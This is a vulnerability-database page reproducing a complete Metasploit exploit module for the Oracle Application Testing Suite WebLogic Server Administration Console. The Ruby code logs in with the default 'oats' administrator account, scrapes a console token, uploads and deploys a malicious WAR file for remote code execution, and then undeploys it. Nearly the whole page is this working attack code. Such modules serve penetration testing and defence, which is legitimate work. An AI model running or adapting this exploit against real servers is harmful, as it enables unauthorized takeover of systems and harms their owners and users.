Lucene search
K

Oracle Application Testing Suite WebLogic Server Administration Console War Deployment

🗓️ 24 May 2019 00:00:00Reported by mr_meType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 97 Views

Oracle ATS WebLogic Server Admin War Deploymen

Related
Code
`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Auxiliary::Report  
  
def initialize(info={})  
super(update_info(info,  
'Name' => 'Oracle Application Testing Suite WebLogic Server Administration Console War Deployment',  
'Description' => %q{  
This module abuses a feature in WebLogic Server's Administration Console to install  
a malicious Java application in order to gain remote code execution. Authentication  
is required, however by default, Oracle ships with a "oats" account that you could  
log in with, which grants you administrator access.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'Steven Seeley', # Used the trick and told me about it  
'sinn3r' # Metasploit module  
],  
'Platform' => 'java',  
'Arch' => ARCH_JAVA,  
'Targets' =>  
[  
[ 'WebLogic Server Administration Console 12 or prior', { } ]  
],  
'References' =>  
[  
# The CVE description matches what this exploit is doing, but it was for version  
# 9.0 and 9.1. We are not super sure whether this is the right CVE or not.  
# ['CVE', '2007-2699']  
],  
'DefaultOptions' =>  
{  
'RPORT' => 8088  
},  
'Notes' =>  
{  
'SideEffects' => [ IOC_IN_LOGS ],  
'Reliability' => [ REPEATABLE_SESSION ],  
'Stability' => [ CRASH_SAFE ]  
},  
'Privileged' => false,  
'DisclosureDate' => 'Mar 13 2019',  
'DefaultTarget' => 0))  
  
register_options(  
[  
OptString.new('TARGETURI', [true, 'The route for the Rails application', '/']),  
OptString.new('OATSUSERNAME', [true, 'The username for the admin console', 'oats']),  
OptString.new('OATSPASSWORD', [true, 'The password for the admin console'])  
])  
  
register_advanced_options(  
[  
OptString.new('DefaultOatsPath', [true, 'The default path for OracleATS', 'C:\\OracleATS'])  
])  
end  
  
class LoginSpec  
attr_accessor :admin_console_session  
end  
  
def login_spec  
@login_spec ||= LoginSpec.new  
end  
  
class OatsWarPayload < MetasploitModule  
attr_reader :name  
attr_reader :war  
  
def initialize(payload)  
@name = [Faker::App.name, Rex::Text.rand_name].sample  
@war = payload.encoded_war(app_name: name).to_s  
end  
end  
  
def default_oats_path  
datastore['DefaultOatsPath']  
end  
  
def war_payload  
@war_payload ||= OatsWarPayload.new(payload)  
end  
  
def set_frsc  
value = get_deploy_frsc  
@frsc = value  
end  
  
def check  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, 'console', 'login', 'LoginForm.jsp')  
})  
  
if res && res.body.include?('Oracle WebLogic Server Administration Console')  
return Exploit::CheckCode::Detected  
end  
  
Exploit::CheckCode::Safe  
end  
  
def set_admin_console_session(res)  
cookie = res.get_cookies  
admin_console_session = cookie.scan(/ADMINCONSOLESESSION=(.+);/).flatten.first  
vprint_status("Token for console session is: #{admin_console_session}")  
login_spec.admin_console_session = admin_console_session  
end  
  
def is_logged_in?(res)  
html = res.get_html_document  
a_element = html.at('a')  
if a_element.respond_to?(:attributes) && a_element.attributes['href']  
link = a_element.attributes['href'].value  
return URI(link).request_uri == '/console'  
end  
  
false  
end  
  
def do_login  
uri = normalize_uri(target_uri.path, 'console', 'login', 'LoginForm.jsp')  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => uri  
})  
  
fail_with(Failure::Unknown, 'No response from server') unless res  
set_admin_console_session(res)  
  
uri = normalize_uri(target_uri.path, 'console', 'j_security_check')  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => uri,  
'cookie' => "ADMINCONSOLESESSION=#{login_spec.admin_console_session}",  
'vars_post' =>  
{  
'j_username' => datastore['OATSUSERNAME'],  
'j_password' => datastore['OATSPASSWORD'],  
'j_character_encoding' => 'UTF-8'  
}  
})  
  
fail_with(Failure::Unknown, 'No response while trying to log in') unless res  
fail_with(Failure::NoAccess, 'Failed to login') unless is_logged_in?(res)  
store_valid_credential(user: datastore['OATSUSERNAME'], private: datastore['OATSPASSWORD'])  
set_admin_console_session(res)  
end  
  
def get_deploy_frsc  
# First we are just going through the pages in a specific order to get the FRSC value  
# we need to prepare uploading the WAR file.  
res = nil  
requests =  
[  
{ path: 'console/', vars: {} },  
{ path: 'console/console.portal', vars: {'_nfpb'=>"true"} },  
{ path: 'console/console.portal', vars: {'_nfpb'=>"true", '_pageLabel' => 'HomePage1'} }  
]  
  
requests.each do |req|  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, req[:path]),  
'cookie' => "ADMINCONSOLESESSION=#{login_spec.admin_console_session}",  
'vars_get' => req[:vars]  
})  
  
fail_with(Failure::Unknown, 'No response while retrieving FRSC') unless res  
end  
  
html = res.get_html_document  
hidden_input = html.at('input[@name="ChangeManagerPortletfrsc"]')  
frsc_attr = hidden_input.respond_to?(:attributes) ? hidden_input.attributes['value'] : nil  
frsc_attr ? frsc_attr.value : ''  
end  
  
def do_select_upload_action  
action = '/com/bea/console/actions/app/install/selectUploadApp'  
app_path = Rex::FileUtils.normalize_win_path(default_oats_path, 'oats\\servers\\AdminServer\\upload')  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, 'console', 'console.portal'),  
'cookie' => "ADMINCONSOLESESSION=#{login_spec.admin_console_session}",  
'vars_get' =>  
{  
'AppApplicationInstallPortlet_actionOverride' => action  
},  
'vars_post' =>  
{  
'AppApplicationInstallPortletselectedAppPath' => app_path,  
'AppApplicationInstallPortletfrsc' => frsc  
}  
})  
  
fail_with(Failure::Unknown, "No response from #{action}") unless res  
end  
  
def do_upload_app_action  
action = '/com/bea/console/actions/app/install/uploadApp'  
ctype = 'application/octet-stream'  
app_cname = 'AppApplicationInstallPortletuploadAppPath'  
plan_cname = 'AppApplicationInstallPortletuploadPlanPath'  
frsc_cname = 'AppApplicationInstallPortletfrsc'  
war = war_payload.war  
war_name = war_payload.name  
post_data = Rex::MIME::Message.new  
post_data.add_part(war, ctype, 'binary', "form-data; name=\"#{app_cname}\"; filename=\"#{war_name}.war\"")  
post_data.add_part('', ctype, nil, "form-data; name=\"#{plan_cname}\"; filename=\"\"")  
post_data.add_part(frsc, nil, nil, "form-data; name=\"#{frsc_cname}\"")  
  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, 'console', 'console.portal'),  
'cookie' => "ADMINCONSOLESESSION=#{login_spec.admin_console_session}",  
'vars_get' =>  
{  
'AppApplicationInstallPortlet_actionOverride' => action  
},  
'ctype' => "multipart/form-data; boundary=#{post_data.bound}",  
'data' => post_data.to_s  
})  
  
fail_with(Failure::Unknown, "No response from #{action}") unless res  
print_response_message(res)  
end  
  
def do_app_select_action  
action = '/com/bea/console/actions/app/install/appSelected'  
war_name = war_payload.name  
app_path = Rex::FileUtils.normalize_win_path(default_oats_path, "oats\\servers\\AdminServer\\upload\\#{war_name}.war")  
  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, 'console', 'console.portal'),  
'cookie' => "ADMINCONSOLESESSION=#{login_spec.admin_console_session}",  
'vars_get' =>  
{  
'AppApplicationInstallPortlet_actionOverride' => action  
},  
'vars_post' =>  
{  
'AppApplicationInstallPortletselectedAppPath' => app_path,  
'AppApplicationInstallPortletfrsc' => frsc  
}  
})  
  
fail_with(Failure::Unknown, "No response from #{action}") unless res  
print_response_message(res)  
end  
  
def do_style_select_action  
action = '/com/bea/console/actions/app/install/targetStyleSelected'  
  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, 'console', 'console.portal'),  
'cookie' => "ADMINCONSOLESESSION=#{login_spec.admin_console_session}",  
'vars_get' =>  
{  
'AppApplicationInstallPortlet_actionOverride' => action  
},  
'vars_post' =>  
{  
'AppApplicationInstallPortlettargetStyle' => 'Application',  
'AppApplicationInstallPortletfrsc' => frsc  
}  
})  
  
fail_with(Failure::Unknown, "No response from #{action}") unless res  
end  
  
def do_finish_action  
action = '/com/bea/console/actions/app/install/finish'  
  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, 'console', 'console.portal'),  
'cookie' => "ADMINCONSOLESESSION=#{login_spec.admin_console_session}",  
'vars_get' =>  
{  
'AppApplicationInstallPortlet_actionOverride' => action  
},  
'vars_post' =>  
{  
'AppApplicationInstallPortletname' => war_payload.name,  
'AppApplicationInstallPortletsecurityModel' => 'DDOnly',  
'AppApplicationInstallPortletstagingStyle' => 'Default',  
'AppApplicationInstallPortletplanStagingStyle' => 'Default',  
'AppApplicationInstallPortletfrsc' => frsc  
}  
})  
  
fail_with(Failure::Unknown, "No response from #{action}") unless res  
print_response_message(res)  
  
# 302 is a good enough indicator of a successful upload, otherwise  
# the server would actually return a 200 with an error message.  
res.code == 302  
end  
  
def print_response_message(res)  
html = res.get_html_document  
message_div = html.at('div[@class="message"]')  
if message_div  
msg = message_div.at('span').text  
print_status("Server replies: #{msg.inspect}")  
end  
end  
  
def deploy_war  
set_frsc  
print_status("FRSC value: #{frsc}")  
do_select_upload_action  
do_upload_app_action  
do_app_select_action  
do_style_select_action  
do_finish_action  
end  
  
def goto_war(name)  
print_good("Operation \"#{name}\" is a go!")  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, name)  
})  
  
print_status("Code #{res.code} on \"#{name}\" request") if res  
end  
  
def undeploy_war  
war_name = war_payload.name  
handle = 'com.bea.console.handles.JMXHandle("com.bea:Name=oats,Type=Domain")'  
contents = %Q|com.bea.console.handles.AppDeploymentHandle("com.bea:Name=#{war_name},Type=AppDeployment")|  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, 'console', 'console.portal'),  
'cookie' => "ADMINCONSOLESESSION=#{login_spec.admin_console_session}",  
'vars_get' =>  
{  
'AppApplicationUninstallPortletreturnTo' => 'AppDeploymentsControlPage',  
'AppDeploymentsControlPortlethandle' => handle  
},  
'vars_post' =>  
{  
# For some reason, the value given to the server is escapped twice.  
# The Metasploit API should do it at least once.  
'AppApplicationUninstallPortletchosenContents' => CGI.escape(contents),  
'_pageLabel' => 'AppApplicationUninstallPage',  
'_nfpb' => 'true',  
'AppApplicationUninstallPortletfrsc' => frsc  
}  
})  
  
if res && res.code == 302  
print_good("Successfully undeployed #{war_name}.war")  
else  
print_warning("Unable to successfully undeploy #{war_name}.war")  
print_warning('You may want to do so manually.')  
end  
end  
  
def cleanup  
undeploy_war if is_cleanup_ready  
super  
end  
  
def setup  
@is_cleanup_ready = false  
super  
end  
  
def exploit  
unless check == Exploit::CheckCode::Detected  
print_status('Target does not have the login page we are looking for.')  
return  
end  
  
do_login  
print_good("Logged in as #{datastore['OATSUSERNAME']}:#{datastore['OATSPASSWORD']}")  
print_status("Ready for war. Codename \"#{war_payload.name}\" at #{war_payload.war.length} bytes")  
result = deploy_war  
if result  
@is_cleanup_ready = true  
goto_war(war_payload.name)  
end  
end  
  
attr_reader :frsc  
attr_reader :is_cleanup_ready  
end  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation